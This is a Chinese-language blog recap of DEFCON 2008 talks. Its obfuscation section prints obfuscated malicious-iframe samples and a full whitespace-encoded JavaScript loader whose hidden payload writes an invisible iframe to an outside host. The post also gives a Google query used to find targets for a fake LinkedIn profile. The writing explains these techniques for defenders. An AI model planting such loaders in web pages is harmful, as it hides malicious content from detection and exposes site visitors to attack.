好玩吧!事實上,我覺得即使把 A / B 對調,變成:B and A,結果還是 B 會先被 evaluate。但是沒有試過就是了... :)

最後,Chema 也將他這次的研究,實做成了工具: Marathon 並在會上發表。跑起來長這樣,注意,重點是支援的資料庫比其他工具多:



3. 空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)投影片)(程式下載)(線上 demo

接下來我來到了整個 DEFCON 我最喜歡的演講之一:「空白字元:JavaScript 變形的新方法(Whitepace: A Different Approach to JavaScript Obfustation)」。先不講演講內容,演講者叫「Kolisar」,當然是一個假的名字。演講後我跟他花了很多時間探討,才了解到,他在一家很有名的大公司上班,不是資安公司,但是負責公司的網管與資安。也就是說,對我們阿碼科技這種「廠商」來說,他是「用戶(user)」。用戶上來給演講?沒錯!因為過去一年半,網站掛馬 javascript 變形手法太強,沒有一家能夠有效識別惡意的 javascript(當然那時他不認識阿碼科技),他只好自己拿 spidermonkey 來做,經過一整年與變形後的惡意 javascript 搏鬥後,看得多了,自己也有了心得,於是根據他看到的以及他研究的,他終於說服了老闆來 DEFCON 給演講。什麼?要在駭客年會給演講?傳統的大企業當然有顧忌,所以最後雖然準他來,但是不能用真名,也不能提公司的名字...哈!

但是這就跟我一直提的,在台灣也是一樣,user 都快比很多廠商強了,被訓練出來的!尤其台灣很多經銷代理商,一心只想塞產品給客戶...客戶都只好自求多福,幾年下來功力已經超過廠商了。



Kolisar 給我的第一印象,看他眼睛,非常聰明,但是同時也是一個很認真也很誠懇的人。他的演講整間做得滿滿的,算一算快一千人吧!他一開始就說:這是我第一次來 DEFCON 講...事實上,我給過演講,最多只有 20 個人,結果這次第一次上台竟然那麼多人,所以我現在一直發抖...

他的態度讓大家都很喜歡他,台下一直幫他打氣,他不像其他有經驗的講師很會搞笑,一下子就講完了,但是獲得台下好大的掌聲,後來立刻大家也提了很多的問題。我覺得這種會就是這樣,你只要有東西,不用裝強,大家就會聽你說。

Kolisar 首先介紹了各種 javascript 的編碼方式,我在「美國駭客年會 Black Hat 2008 觀察--第二天」中也記錄了 Billy Hoffman 舉的 各種不同 javascript 的變形方式,也利用 malwareguru.org 介紹了線上許多不同的 javascript 變形器。這邊把之前的文貼一些過來。

我們就拿我之前寫的「神秘 Web 攻擊綁架剪貼簿」來看好了,其中用的一段範例 javascript:


function IE_ClipBoard()
{
if (window.clipboardData) {
window.clipboardData.setData("Text","Hello from Wayne!");
}
}

1. Vanishing Point Packer(網頁malwareguru 上提供的線上 demo):


eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('4 3(){2(1.0){1.0.5("8","7 6 9!")}}',10,10,'clipboardData|window|if|IE_ClipBoard|function|setData|from|Hello|Text|Wayne'.split('|'),0,{}))


2. Yellopipe source code encrypter:


document.write(unescape("function%20IE_ClipBoard%28%29%20%20%0D%0A%7B%20%20%0D%0A%20%20if%20%28window.clipboardData%29%20%7B%20%20%0D%0A%20%20%20%20window.clipboardData.setData%28%22Text%22%2C%22Hello%20from%20Wayne%21%22%29%3B%20%20%0D%0A%20%20%7D%20%20%0D%0A%7D%20%20"));


3. Audit My PC HTML Encoder:


document.write('\u0066\u0075\u006E\u0063\u0074\u0069\u006F\u006E\u0020\u0049\u0045\u005F\u0043\u006C\u0069\u0070\u0042\u006F\u0061\u0072\u0064\u0028\u0029\u0020\u0020\u000D\u007B\u0020\u0020\u000D\u0020\u0020\u0069\u0066\u0020\u0028\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u0029\u0020\u007B\u0020\u0020\u000D\u0020\u0020\u0020\u0020\u0077\u0069\u006E\u0064\u006F\u0077\u002E\u0063\u006C\u0069\u0070\u0062\u006F\u0061\u0072\u0064\u0044\u0061\u0074\u0061\u002E\u0073\u0065\u0074\u0044\u0061\u0074\u0061\u0028\u0022\u0054\u0065\u0078\u0074\u0022\u002C\u0022\u0048\u0065\u006C\u006C\u006F\u0020\u0066\u0072\u006F\u006D\u0020\u0057\u0061\u0079\u006E\u0065\u0021\u0022\u0029\u003B\u0020\u0020\u000D\u0020\u0020\u007D\u0020\u0020\u000D\u007D\u0020\u0020');

圖 4

4. 中國的「网?免? 孤程?雪」線上服務:


t="97,108,101,114,116,40,39,72,101,108,108,111,32,102,114,111,109,32,87,97,121,110,101,32,111,102,32,65,114,109,111,114,105,122,101,33,39,41,59"

t=eval("String.fromCharCode("+t+")");


Kolisar 的公司在美國每一個城市幾乎都有辦公室,他的工作是事件處理,從本部飛到每一個辦公室支援。這兩年他著實看了不少的網站掛馬與變形的 javascript,於是他整理如何辨識變形過的 javascript 如下:

1. 經過 escape 的 ASCII / UNICODE 的字串。
範例 1:

eval(unescape ('%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f
...
%35%35%20%68%65%69%67%68%74%3d%35%31%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%6l%79%3d%2O%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29'));


範例 2:

document.write('\uOO3c\uOO69\uOO66\uOO72\uOO6l\uOO6d\uOO65\uOO2O\uOO73\uOO72\uOO63\uOO3d\uOO27\uOO68\uOO74\uOO74\uOO7O
...
\u0065\u006e\u003b\u0027\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');


2. XOR(ASCII 值)
範例:

function xor_str(plain_str, xor_key) {var xored_str=""; for (var i=0; i < plain_str.length; ++i) xored_str += String.fromCharCode (xor_key ^ plain_str.charCodeAt(i)); return xored_str; }
function asd(a,b) {}; function qwe(c,i) {}; var plain_str="\x8d\xa0\xa7\xa0\xa7\xa0\xa7\xdb\xcc\xdf\xcc\xd4\x85\x84\x96\xa0\xa7\xdb\xcc\xdf\x8d\xc0\xc8\xc0\xf2\xcb\xc1\xcc\xca\x8d\x90\x8d\x9d\x96
...
\x84\x96\xa0\xa7"; var xored_str=xor_str(plain_str, 173); eval(xored_str);


3. XOR(字元編碼)
範例:

str = "ru'su)(:^L^Kgtobuhno!ru'su)(!z^L^Kw's!fgg!...
ubi)d(z||"; str2=""; for (i=0;i


4. 拆字
範例

le="rame>";
ok="docum";
uk="eight=0>aj="t.write(";
em="dth=0 h";
cg="nr="e src=/x.htm wi";
eval(ok+aj+cg+nr+em+uk+le);


5. 簡單的編碼
範例

function decrypt_p(x) {var l=x.length,b=1024,i,j,r,p,s,w=0,t=Array(63,53,56,3,9,35,38,14,13,
...
,50,60,7,22,44,19,28);for(j=Math.ceil(l/b);j>0;j==) {r=''; for (i=Math.min(l,b);i>0;i--,l--) {w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}else{s=6}}document.write(r)}} decrypt_p("S6dXf5aGSk8t49x1_t721gGPdk72OvU6EUK6fWauC3
...
Ayu1N5xBEUK6qKDfsWz1V94J96CgBPa2u94J96CgDvnGC94J9I");


但是以上這些,在有經驗的資安專家眼中,還是很快會被「懷疑」。當然不是變形過的 javascript 就是惡意的,因為 javascript 變形很普遍(見此文),並不是所有變形過的 javascript 都一定是惡意的。但是,至少會引來懷疑。

Kolisar 整理說,基本上碰到有以下幾點的 javascript,他都會懷疑並花時間確認:

1. eval()
2. unescape()
3. document.write()
4. 很長並且沒有意義的字串:
* Escape 過的 ASCII / Unicode 字串
* 加密過的字串
* 等等

好,所以 Kolisar 就想,如果要隱藏一個惡意的 iframe 到一個 HTML 文件裡,但是又不要那麼明顯,該如何做?

於是他決定,第一,還是用 document.write() 來寫出來,但是又不要實際上有 document.write()。該如何做呢?首先他利用以下這段程式(我稍微修改過)取得 "document" 這個字串:


h = this;
for (i in h)
if(i.length == 8 && i.charCodeAt(0) == 100) break;


h=this 所以 h 就是 window。for (i in h) 把 h 裡的每一個 properties 都走一遍,而長度等於 8 而已 "d" (ASCII 100) 開頭的,就只有 "document"。

同樣的,接下來 Kolisar 取得 "write":


for (j in h[i])
if(j.length == 5 && j.charCodeAt(0) == 119) break;


在 document 裡,長度是 5 而以 "w" 開頭的,就只有 "write" 了。

同樣的使法,取得 "getElementById":


for (k in h[i])
if(k.length == 14 && k.charCodeAt(0) == 103) break;


這個手法最有趣的地方,就是惡意 javascript payload 擺的方式。payload 不僅用 whitespaces / tabs 來編碼,而且就直接擺在上述這些 javascript 的每一行後面。這一段 javascript,Kolisar 用:


<script id='p'>


來開頭。所以現在我們要解碼,就必須先取得 "p" 這個 DOM 物件。有了 "document" 以及 "getElementById",這不是問題,下面這一行搞定:


r=h[i][k]('p');


這行等於 r=this.document.getElementById('p') ,但是乍看之下並不明顯。這就是巧妙處之一。

要讀到我們偷放的 whitespaces / javascript,必須要透過 r.innerHTML,於是再做一次:


for (l in r)
if(l.length == 9) && l.charCodeAt(0) == 105) break;


一切就緒,接下來就只剩把 whitespaces / tabs 轉成我們要 document.write 出來的 iframe,然後最後把字串 "o" 寫出來:


h[i][j](o);


乍看之下,之前我們說的特徵都沒有:eval()、document.write()、很長的奇怪字串...等。有趣吧!但是其實啊,要躲避目前坊間各家的網頁掛馬偵測,不需這麼複雜,就像 Billy 說的,改寫 vbscript 就好了。目前坊間幾乎都是靜態分析,但是 javscript 這種這麼動態的語言(可以動態產生程式碼)完全不適合用靜態分析。即使號稱有動態分析的,都試用 spidermonkey 兜的,碰到駭客目前使用的一些專門對付 spikermonkey 的 javascript 或任何 vbscript,就失效了。所以除非做的像 HackAlert,不然偵測率會越來越低。

Kolisar 的整段程式碼如下:


<script id='p'>
d=1;
e=76;
h = this;
for (i in h)
{
if(i.length == 8)
{
if(i.charCodeAt(0) == 100)
{
if(i.charCodeAt(7) == 116)
{
break;
}
}
}
}
for (j in h[i])
{
if(j.length == 5)
{
if(j.charCodeAt(0) == 119)
{
if(j.charCodeAt(1) == 114)
{
break;
}
}
}
}
for (k in h[i])
{
if(k.length == 14)
{
if(k.charCodeAt(0) == 103)
{
if(k.charCodeAt(3) == 69)
{
break;
}
}
}
}
r=h[i][k]('p');
for (l in r)
{
if(l.length == 9)
{
if(l.charCodeAt(0) == 105)
{
if(l.charCodeAt(5) == 72)
{
break;
}
}
}
}
a=r[l];
b=a.split('\n');
o = "";
for(c=3; c &lt; (e+3); c++)
{
s=b[c];
for(f=0; f &lt; d; f++)
{
y = ((s.length - (8*d)) + (f*8));
v = 0;
for(x = 0; x &lt; 8; x++)
{
if(s.charCodeAt(x+y) &gt; 9)
{
v++;
}
if(x != 7)
{
v = v &lt;&lt; 1;
}
}
o += String.fromCharCode(v);
}
}
h[i][j](o);
</script>


我在以上程式碼中,利用 whitespaces / tabs 編碼加入了以下這行:

<iframe src="http://malwareguru.com/kolisar/bad.html" style="display: none">

所以您如果執行以上 javascript,這一行最後會被 document.write 出來。其實,如果您選取部分上面的程式,從反白的地方,您就可以清楚地看到隱藏的 whitespaces / tabs 了:



想玩玩看嗎?我架了一份在這裡

另外這邊提醒的是,這種手法不一定只用來內嵌 iframe,可以直接內嵌一個 javascript 攻擊程式,直接攻瀏覽器漏洞或外掛漏洞。MalwareGuru 上有一些測試用的此類攻擊程式

這次與 Kolisar 聊了很久,後來聊到他的興趣,他說是變魔術。我說真的假的?他說當然,他很小就開始了。每個魔術都是一個謎題(puzzle),他邊看邊想著破法,很著迷,當然也自己表演。後來談到 Medeco,他又說他也迷開鎖(locksport),因為每個鎖其實就是精心設計的一套謎題(puzzle)。這讓我想到 Kuon 曾經跟我說:「解加殼過的惡意程式很有趣,因為每一個樣本就是一個 puzzle」。Kolisar是他們公司逆向工程解惡意程式(脫殼)的第一把交椅,不是也是這樣嗎?看來會做到資安這行,跟先天基因絕對有關係。我的外祖父賣了一輩子的魔術道具,我從小就一直設法破他設計的魔術,或跟他一起研究他那些堆積如山的魔術師錄影帶。

我目前正在跟 Kolisar 做一些很有趣的研究,有成果時在跟各位分享!

4. Nathan Hamiel & Shawn Moyer:撒旦是我好友:用社交工程手法攻擊社交網路(Satan is on my friendlist: Attacking Social Networks)Black HatDEFCON官方投影片(不完整)講師會後公開之投影片(完整)whitepaper訪問影片

Nathan 跟 Shawn 今年的演講很賣座,但是我在 Black Hat 時沒空去聽,今天趕緊先去佔位子。社交網站,是下一波資安的大漏洞,我完全同意。只是這種研究最近很多人都在做,故題目本身並不算太新。Nathan 跟 Shawn 先介紹了各大社交網站的 XSS CSRF 漏洞,並示範得很清楚,觀眾也都看得很過癮。Nathan 跟 Shawn 是非常好的講師,兩個人配合起來,像唱雙簧一樣,一搭一唱,效果十足。他們公布的漏洞也都很具體,也很嚴重。但是對於這些社交平台有 XSS 或 CSRF,我一點都不感到意外;事實上我們也有發現不少,只是沒有公開。



這場比較吸引我的,倒是後來介紹的社交工程實驗。Nathan 跟 Shawn 決定在 LinkedIn 上製造一個假的身份,看有多少人受騙。在爭取到 Markus Ranum(實做出第一套商業防火牆 SEAL、前 NFR 的創辦人兼 CEO、目前 Tenable 的 CSO)的同意後,Nat 跟 Shawn 就開始在 LinkedIn 上自己「幫」Marcus 建立了一個帳號。他們從網路上抓了他的照片,資料也都從 Marcus 的官方網站剪貼過來,填得頭頭是道。

接下來要找一些人把這個假的 Marcus 加入好友,這樣這個帳號看起來才像。網路上很多人對於建立線上社交網路很積極,只要你要求把他們加入好友,他們都會答應。Nat 跟 Shawn 用了以下這個 Google hacking 查詢:

"invites accepted" OR "open networker" OR "accepts all invites" OR lion OR toplinked.com OR mylink500 +site:linkedin.com +inurl:/in/ -inurl:updates

從完成假帳號的建立,到使用 Google hacking,到送出約 50 個加入好友 request,只花的一小時。十二個小時後,這個假帳號已經建立了 42 個關連,使得帳號看起來更真實了。不到半天的時間,這個帳號就已經加入了一些資安圈的重要社交群組。接下來就等待看有沒有人送要求過來,希望把假 Marcus 加入好友了。

結果是,很多人送訊息過來,表達在線上遇到 Marcus 實在太好了一些資安界重量級人物也要求把假 Marcus 加入好友,更多人送訊息來跟假 Marcus 討論最新的資安議題...沒有一個人懷疑這個帳號的真實性!而這一切,都是在二十四小時內完成的!

其實本來就是這樣,社交工程一項都是資安裡攻擊者最好用的手法。也難怪這個 blog到目前為止,最多篇文章的分類就是「社交工程」。

以下是 Nat 與 Shawn 在這次 Black Hat 時所接受的訪問:



5. Wendel Guglielmetti Henrique:打穿 WAF(Playing Web Application Firewalls)大會介紹投影片)<

來自巴西的講師 Wendel 是巴西滲透測試公司 Intruders Tiger Team Security 的成員,也是 Hackaholic 的成員(但是我之前都不認識他)。Google 了一下倒發現他也是今年 H2HC 的講師。



Wendel 講得很認真,並且有當場 demo 他介紹的技巧如何運用於打穿 Citrix Netscaler 這個 WAF。但是說實在我並沒那麼意外,原因有二。第一,真的要攻擊 WAF,看我之前寫的 Black Hat 第二天 Arian Evans 那場就知道了,人家只是客氣沒有當場 demo 而已。況且這也不是什麼新聞,從以前到現在,各大跟 Web 相關的 mailing list(不好意思寫明啦!),只要談到 WAF vs. Scanning(黑箱或白箱)(阻擋攻擊或修改漏洞),就會一長串口水戰,做 WAF 說 WAF 好,做 scanner 的說 WAF 只能擋小部分攻擊等等... 阿碼科技的看法則是,不同客戶有不同的需求,資安團隊的使命就是了解客戶需求,提供專業的建議並實際解決客戶問題,所以並不會預設立場,也因為這樣我們 WAF(SmartWAF)跟 scanner(CodeSecure)都有,而且現在還可以整合,由 scanner 吐弱點設定檔給 WAF。

第二個原因是,WAF 只是工具,WAF 的自我學習能力再強,也沒有辦法取代人為設定的重要。就像是選生病醫生,有人喜歡選大醫院因為「設備」比較好。我以前也是這樣,但是有了很多經驗,也看多了,聽多了之後,現在我都選醫生。超音波,斷層掃瞄的設備再好,都只是幫醫生做判斷。沒有經驗的醫生,用再好的儀器,都還是沒用,書本上讀的,跟實際有很大的差距。有經驗的醫生,有時看一下病人臉色,問一兩個問題,就可以做出正確的判斷,照都不用照。WAF 也是一樣,WAF 是資安團隊的工具,在來不及把弱點修改好之前,WAF 可以提供一定程度的防禦力。但是 WAF 不是買來就好,重點是設定。我之前就提過了,「...如果找對好的 partner,有心服務客戶,長期經營,技術能量也夠,那即使用免費的開放源碼 ModSecurity 做 Web 防火牆,一樣能設定到讓您高枕無憂。」

如果你的網站是採用主機代管,由具備 SOC 能力的 hosting provider 幫忙處理 security,那不能只是選對方用什麼設備。就像你選銀行的保險箱放重要的東西,銀行告訴你他們採用了全美國最好的 Medeco 保險箱,那你必須知道:
1. 即使是 Medeco,今年也被破了
2. 但是更重要的是,銀行買了 Medeco,結果到底有沒有上鎖?如果買了結果都沒鎖,有用嗎?
3. 安全不能靠單點而要靠 layered security,銀行用了好的保險箱,但是有沒有監控系統?有沒有人在顧監控系統?大門有沒有警衛?

我們把 SmartWAF 賣給代管廠商,就像我們把保險箱賣給了銀行一樣。銀行到底有沒有好好用,到底有沒有上鎖(SmartWAF 到底有沒有打開?)我們盡全力去影響,但是畢竟我們無法直接管對方。

6. 黑白帽相見歡(Meet the Feds)大會介紹
聽完了 Wendel 的演講,接著就是每年 Black Hat 以及 DEFCON 各有一場,很好玩的黑白帽相見歡(Meet the Feds)啦!MTF 每年都是大陣仗,今年也不例外,美國與加拿大兩個政府總共出動了 11 個相關單位代表:



上面照片從左至右的 11 人分別是:
1. Rod Beckstrom美國國土安全部(DHS)新單位--國家資安中心(National Cyber Security Center、NCSC)」首席,為今年美國政府資安界的當紅新人炸子雞

2. Lin Wells: 美國國防部網路與資訊整合副次長(白話說法就是美國國防部的副 CIO)(Principal Deputy Assistant Secretary of Defense, Networks and Information Integration),此次代表美國國防大學(National Defense University

3. Richard Marshall:美國國家安全局(National Security,NSA

4. Mischel Kwon:美國電腦安全緊急應變中心(US-Cert)

5. 美國國稅局(IRS)

6. Jim Christy(主席):美國國防部網路犯罪中心(Department of Defense Cyber Crime Center,DC3

7. Tom Pownall:加拿大聯邦警察(Royal Canadian Mounted Police,RCMP

8. Barry Grundy:美國太空總署電腦犯罪科(NASA Computer Crime Division)

9. David Helfen:美國海軍罪案調查處(Naval Criminal Investigative Service,NCIS

10. Ray Kessenich:美國國防網路調查訓練學校(Defense Cyber Investigation Training Academy,DCITA

11. James Finch:美國聯邦調查局(Federal Bureau of Investigation,FBI

別看加拿大還來湊熱鬧,事實上這些單位(尤其是比較老的)之間互動非常頻繁,加拿大自90年代後期就一直是美國這些單位的重要聯盟伙伴(見此 1998 新聞,RCMP 聯合 FBI、NASA 與 DC3 抓駭客)。

為什麼 NASA 也來呢?NASA 其實在駭客史上是常出現的,因為 NASA 從早期大家就知道,很多好機器,名聲有大,所以大家喜歡攻...還有重點是,其實不難攻,只是會被抓。另外由於各界都對 NASA 的研究很有興趣,所以 NASA 很早就有 website,並有很大的流量。我記得 1995 年世紀大彗星Hale-Bopp被發現時,大家都是到 NASA 的這個網頁來看資料與照片。到 1997 年時,這個網頁已經有一天超過一百萬次的流量了。如果當初有網頁掛馬,想一想一個一天有一百萬次流量,但是又不太難攻的網頁,對駭客的吸引力會有多大。所以在與駭客作戰方面,NASA 一直算「有經驗」的單位 :)

IRS 會來也是差不多原因,但是比 NASA 還多一個強處。美國抓到人卻無法有效舉證判罪時,都是出動 IRS。個人意見,在美國得罪 IRS 比得罪 FBI 還慘。

這場我是從頭笑到尾,我坐正中間第一個位子,一直笑道腰都直不起來。台上風光介紹每個人的資歷,很多人都是科班出身,意思就是美國政府很強啦。台下我後面大家竊竊私語,像蒐集戰利品一樣:

「嗯,來了 11 個,我這幾年加起來,打進了 3 個」
「遜,我 5 個」
「那要看哪 5 個,有一些太容易啦!」
「還有不要跟我說你的是 xss,要開出 shell 的才算」

問問題大排長龍,問的答的都很好笑。

問:「我們要如何判斷什麼是合法的資安研究,什麼是違法的駭客行為?」
答:「下一個!」
問:「就這樣?!」
答:「你哪裡來的?」
問:「俄羅斯」
答:回頭看比 抓起來的手勢:「下一個!」



此次被指定回答最多的,就是 FBI 的先生啦!不過似乎他怎麼回答大家都不相信他的樣子...



不過看來這些單位來,還有一個大目的,就是招募人才。回答中各單位一再重複,加入有多好多好,履歷要投到哪裡等等,問的問題也有好幾個是這方面的。有好幾位代表很年輕並且感覺技術底子很夠,或之前蠻「黑」的。我覺得這樣對這些單位的形象,絕對有很大的加分作用,因為台上一方面感覺有料,一方面又讓台下感覺,有料可以幫國家做有義意的事,而不是在黑暗處搞破壞或被人利用。恩,肯定這場 panel!

我記得還有一題我笑得抬不起來,後面也是,是這題:

問:「發現重大漏洞真的不能直接完整揭露(full disclosure)嗎?」

答:「絕對不行!一定要有耐心跟對方溝通,協助處理完後方可公開!」

聽了快笑死了,每次對方只要是超級大單位,就是先丟一份保密合約(NDA)給我們簽:「不簽就不繼續談」。但是簽了就表示,我們過去現在未來,即使在漏洞修好後十年,或十年後漏洞都還沒修,只要對方不同意,我們就不能公開。你沒看早上第一場 Medeco,Schuyler 探討與對方互動第一原則,就是「絕對不可簽署保密合約」。這方面我回來有表示過意見,沒想到媒體也有報導出來。這樣要叫我們如何「有耐心跟對方溝通」?不簽對方就不溝通啊呵!

結束後我冒著大會攝影機還在拍的風險,去找了這位回答的先生討論,因為我知道他私下處理了不少這類的問題,也幫了不少人。他給了一些聯絡資訊,嗯,以後一定會有用的,心裡想,但是其實我應該去要那位 IRS 先生的聯絡方式,因為我們發現貴單位網站有漏洞很久了。但想想算了,等其他人發現去告訴他吧,我才不淌這種麻煩。

7. NIST:量子加密(Quantum Cryptography)

這場結束後今天也就大功告成啦,等一下還有聚會,真是累死人。利用空檔去繞了一些展示區,發現美國國家標準局(NIST)有來展示量子加密(quantum cryptography)。我資格考考了兩科 quantum,唸了很多 Alice 跟 Bob,但是從沒看過 live 系統,今天真是大開眼界啊!NIST 的研究員正在吃飯,卻放下食物好心的整個跟我解釋了一遍,真是感動,謝謝各位,系統做得真的太帥了!





8. Thomas Wilhelm:移動駭客空間(Mobile Hacker Spaces)
最後繞道了大門外,參觀了一下今年第一次從科羅拉多開過來展是的移動駭客空間(Mobile Hacker Spaces)。移動駭客空間在這個社群中很紅,因為可以開車到處偷別人的無線訊號來做... 研究... 咳...咳...



其實設計這台車的不是別人,就是開放源碼滲透測試工具包 De-ICE.net PenTest LiveCD 的創辦人 Thomas Wilhelm,目前為美國某前 50 大(fortune 50)企業的資安人員,也正在念博士班。Thomas 與朋友合著有:「Penetration Tester's Open Source Toolkit, Volume 2」、「Metasploit Toolkit for Penetration Testing, Exploit Development, and Vulnerability Research」、以及「Netcat Power Tools」等有名的資安工具書。

終於寫完啦,一天寫一點時間真的不夠用,感謝閱讀!我會湊出時間把第二三天也寫完的,會合寫成一篇只敘述重要的演講。

作者 Wayne 為 阿碼科技 CEO

相關文章:
駭客年會Black Hat / DEFCON 2008 心得一:地下犯罪經濟成熟,影響會議品質?
美國駭客年會 Black Hat 2008 觀察--第二天
美國駭客年會 Black Hat 2008 觀察--第一天

繼續閱讀全文...